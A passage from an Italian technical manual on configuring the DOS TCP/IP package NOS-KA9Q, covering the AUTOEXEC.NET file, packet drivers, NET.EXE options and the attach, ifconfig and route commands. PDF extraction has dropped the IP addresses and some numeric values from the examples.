245 Introduzione a NOS-KA9Q -- IPv4 per Dos 2229 Come si può intuire, si tratta di spazi predisposti per la gestione della posta elettronica; cosa che comunque non verrà mostrata in questo capitolo. Volendo utilizzare una posizione diversa, nello stesso disco o in un altro, occorre almeno mantenere la stessa struttura; per esempio come nel modo seguente, tenendo conto che occorre avviare il programma NET.EXE specificando questa variante nelle opzioni. D:\NOS\SPOOL D:\NOS\SPOOL\HELP D:\NOS\SPOOL\MAIL D:\NOS\SPOOL\MQUEUE D:\NOS\SPOOL\RQUEUE D:\NOS\SPOOL\NEWS Configurazione con il file AUTOEXEC.NET Nella directory utilizzata come punto di inizio della gerarchia del sistema NOS, va collocato il file di configurazione AUTOEXEC.NET. Questo rappresenta semplicemente una sequenza di comandi NOS da eseguire prima di mostrare l invito all utente. È abbastanza importante predisporre questo file, per non dover ogni volta ridefinire la configurazione delle interfacce e gli instradamenti relativi. Ovviamente, per sapere come predisporre questo file occorre conoscere i comandi del sistema NOS. Per cominciare si tenga presente che sono ammessi i commenti prefissati dal simbolo # e terminati dalla fine della riga in cui appaiono; inoltre, se si utilizza un elaboratore appartenente alla famiglia «AT», cioè quelli che hanno un architettura i286 o superiore, può essere utile indicare il comando isat on. Per il momento si osservi l esempio seguente, che si riferisce all uso di una scheda di rete gestita attraverso un driver di pacchetto di quelli descritti nel capitolo precedente (203). # Se non si tratta di un elaboratore compatibile IBM AT (o superiore), # la riga seguente deve essere commentata o eliminata. #isat on # Configurazione dell interfaccia di rete utilizzando il # riferimento al packet driver (il nome ethernet0 viene stabilito qui, # e non si tratta di una convenzione di NOS). attach packet 0x7e ethernet # Definizione dell indirizzo IP dell interfaccia di rete. ifconfig ethernet0 ipaddress ifconfig ethernet0 netmask # Instradamento. route add /24 ethernet0 route add default ethernet # DNS domain addserver domain suffix brot.dg. # Servizi abilitati. start discard start echo start finger start ftp

246 2230 Introduzione a NOS-KA9Q -- IPv4 per Dos Driver di pacchetto Il sistema NOS richiede per funzionare che le interfacce di rete da utilizzare siano controllate da un driver di pacchetto, tranne nei casi in cui è in grado di gestirsele da solo. NOS può utilizzare i driver di pacchetto già mostrati nel capitolo 203 e altri specifici, come nel caso del file nos_slfp.zip che contiene il necessario per gestire una connessione PPP partendo dal controllo della porta seriale e del modem. Per non appesantire troppo la presentazione del sistema NOS, vengono mostrati solo esempi che fanno riferimento a una scheda di rete gestita attraverso un driver di pacchetto configurato in modo da utilizzare l indirizzo IRQ 7E 16 per comunicare con le applicazioni. Volendo fare il solito esempio della scheda NE2000 configurata per usare l indirizzo IRQ 11 e la porta di I/O , si tratta di usare il comando seguente: NE2000.COM 0x7e 0x0b 0x Avvio del sistema NOS (NET.EXE) Tutto il sistema NOS è inserito in un solo eseguibile Dos: NET.EXE. All avvio del programma può essere conveniente utilizzare qualche opzione. NET [-b] [-s n_porte] [-d directory_nos] [file_configurazione] Dopo l avvio, il sistema NOS mostra alcune informazioni riferite alla versione e quindi l invito a inserire dei comandi: KA9Q NOS version > (ghm/was) Copyright 1990 by Phil Karn, KA9Q net> _ Qui viene mostrata una versione particolarmente vecchia del programma; se si trattasse di un edizione specifica per microprocessori i386 o superiori, tale informazione apparirebbe tra quelle che precedono l invito. Tutti i comandi che vengono descritti nelle sezioni successive devono essere impartiti al sistema NOS attraverso l invito net>, oppure possono essere collocati nel file di configurazione (di solito AUTOEXEC.NET ). Opzione o argomento -b -s n_porte -d directory_nos file_configurazione Descrizione Con questa opzione si costringe NOS ad aggiornare lo schermo attraverso le funzioni del BIOS, anziché accedendo direttamente alla memoria video. Ciò rallenta le operazioni, ma può essere necessario in alcune circostanze, quando si vede che la visualizzazione sullo schermo non funziona come ci si aspetterebbe. In condizioni normali, NOS gestisce un massimo di 40 connessioni (un massimo di 40 porte). Se si vuole modificare questo valore si può intervenire con l opzione -s. Se la struttura di directory che richiede NOS si trova a partire da una posizione differente dalla directory radice del disco C:, l opzione -d permette di indicarlo esplicitamente. Se si vuole indicare esplicitamente il file di configurazione (che di solito dovrebbe essere directory_nos\ AUTOEXEC.NET ), questo può essere inserito come ultimo argomento della riga di comando, senza l indicazione di un opzione apposita.

247 Introduzione a NOS-KA9Q -- IPv4 per Dos 2231 Segue la descrizione di alcuni esempi. C:\> NET Avvia il sistema NOS utilizzando la gerarchia che si articola a partire dalla directory radice del disco C: ( C:\SPOOL\ * ) e il file di configurazione C:\AUTOEXEC.NET. C:\> NET -d C:\NOS Avvia il sistema NOS utilizzando la gerarchia che si articola a partire dalla directory C:\ NET\ ( C:\NET\SPOOL\ * ) e il file di configurazione C:\NET\AUTOEXEC.NET. C:\> NET -d C:\NOS C:\NOS.RC Avvia il sistema NOS utilizzando la gerarchia che si articola a partire dalla directory C:\ NET\ ( C:\NET\SPOOL\ * ) e il file di configurazione C:\NOS.RC Conclusione del funzionamento del sistema NOS Dal momento che il sistema NOS si comporta come una shell, si può intuire il modo attraverso il quale si conclude il suo funzionamento: con il comando exit : net> exit Guida interna Come suggerisce lo stesso NOS quando si inserisce un comando errato, è disponibile una mini guida interna costituita dall elenco dei comandi. Si ottiene con help, oppure semplicemente con?. Non è molto, dal momento che non viene mostrata la sintassi rispettiva, comunque è sempre meglio di nulla. net> help Interfacce, instradamento e nomi Le cose più importanti da fare per poter utilizzare il sistema NOS, sono la definizione delle interfacce, l instradamento e la risoluzione dei nomi. Le interfacce vengono «attaccate» attraverso il comando attach, quindi vengono configurate attraverso ifconfig, alla fine l instradamento viene definito attraverso il comando route. NOS non ha funzionalità di DNS, a parte la possibilità di risolvere alcuni nomi di dominio per conto proprio, ma si può avvalere di un DNS esterno attraverso il comando domain. I comandi che vengono descritti in queste sezioni sono usati generalmente per la configurazione attraverso il file AUTOEXEC.NET. Ciò dovrebbe essere intuitivo dato il tipo di operazioni che si svolgono con questi.

248 2232 Introduzione a NOS-KA9Q -- IPv4 per Dos Comandi attach e detach Attraverso il comando attach si possono definire le interfacce utilizzate. Di solito l eseguibile NET.EXE è predisposto per la gestione delle porte seriali ( asy ) e per l uso di un driver di pacchetto esterno. attach asy i/o irq { ppp slip } nome_interfaccia dim_buffer mtu bps attach packet irq nome_interfaccia coda_trasmissione mtu [c][r][v] Quello che si vede rappresenta la sintassi per la definizione di un interfaccia seriale (PPP, SLIP, o altre che non sono state indicate) e per un interfaccia comandata da un driver di pacchetto esterno. Nel caso del tipo asy, cioè della connessione seriale, il numero di IRQ e l indirizzo di I/O si riferiscono a quelli della porta seriale stessa; inoltre, gli ultimi argomenti sono la velocità espressa in bit/s (bps) e una stringa facoltativa dove possono apparire le lettere c, r e v. Queste lettere rappresentano tre modalità: se appare la c si utilizza il protocollo RTS/CTS; se appare la r si abilita la sensibilità al segnale CD (Carrier detect); se appare la v si abilita la compressione Van Jacobson delle intestazioni TCP/IP, ma solo per le connessioni SLIP. Con le interfacce gestite da un driver di pacchetto esterno diventa tutto più facile, dal momento che la cosa più importante è solo l indicazione dell indirizzo IRQ software (quello che serve a individuare il driver). Per eliminare un interfaccia si utilizza invece il comando detach secondo la sintassi seguente: detach interfaccia Segue la descrizione di alcuni esempi. attach packet 0x7e ethernet Utilizza un driver di pacchetto per gestire una scheda Ethernet. L indirizzo IRQ per comunicare con il driver è 7E 16 ; viene definito il nome ethernet0 per fare riferimento a questa scheda; si pone il limite di otto pacchetti per la coda di trasmissione; si stabilisce l unità massima di trasmissione in 1500 byte. attach asy 0x3f8 4 slip sl Questo esempio è tratto dalla documentazione di NOS e si riferisce a una connessione SLIP attraverso la porta seriale individuata dall indirizzo di I/O 3F8 16 e dall indirizzo IRQ 4. Il nome che viene attribuito è sl0 ; viene definito un buffer di ricezione di 1024 byte; la dimensione massima dei pacchetti trasmessi è di 256 byte; la velocità della porta seriale è di 9600 bit/s. attach asy 0x3f8 4 ppp pp r Anche questo esempio è tratto dalla documentazione di NOS e si riferisce a una connessione PPP attraverso la porta seriale individuata dall indirizzo di I/O 3F8 16 e dall indirizzo IRQ 4. Il nome che viene attribuito è pp0 ; viene definito un buffer di ricezione di 4096 byte; la dimensione massima dei pacchetti trasmessi è di 1500 byte; la velocità della porta seriale è di 9600 bit/s; viene abilitato il controllo della linea CD del modem. detach ethernet0 Elimina l interfaccia ethernet0.

249 Introduzione a NOS-KA9Q -- IPv4 per Dos Comando ifconfig Attraverso il comando ifconfig si possono configurare le interfacce definite in precedenza con il comando attach. Il comando può assumere diverse forme, ma in particolare sono importanti gli schemi seguenti: ifconfig [nome_interfaccia] ifconfig nome_interfaccia ifconfig nome_interfaccia ipaddress indirizzo_ip netmask maschera_ip Utilizzando il comando da solo, senza argomenti, si ottiene la visualizzazione dello stato di tutte le interfacce di rete, comprese quelle predefinite; se si specifica il nome di un interfaccia, il risultato si limita allo stato di questa. La seconda e la terza modalità servono invece per abbinare un indirizzo IP e una maschera di rete all interfaccia. Segue la descrizione di alcuni esempi. ifconfig ethernet0 Mostra lo stato dell interfaccia ethernet0, che in precedenza era stata dichiarata con questo nome. ifconfig ethernet0 ipaddress Abbina all interfaccia l indirizzo IP ifconfig ethernet0 netmask Abbina all interfaccia la maschera IP Comando route Il comando route permette di definire gli instradamenti attraverso le interfacce di rete configurate precedentemente, specificando eventualmente anche i router necessari a raggiungere le reti esterne. route route add indirizzo_ip/n_bit_maschera nome_interfaccia route add default nome_interfaccia [router] [router] La sintassi mostrata rappresenta una semplificazione del comando necessario a definire un instradamento. La coppia indirizzo_ip/n_bit_maschera è un modo per rappresentare l indirizzo di una rete in modo compatto: il numero di bit rappresenta quanti bit iniziali devono essere posti a uno nella maschera di rete. Per eliminare un instradamento si utilizza la forma seguente: route drop indirizzo_ip/n_bit_maschera route drop default Segue la descrizione di alcuni esempi. route Mostra l instradamento delle interfacce. route add /24 ethernet0

250 2234 Introduzione a NOS-KA9Q -- IPv4 per Dos Definisce l instradamento per la rete identificata dagli indirizzi * attraverso l interfaccia ethernet0. route add default ethernet Definisce l instradamento predefinito attraverso il router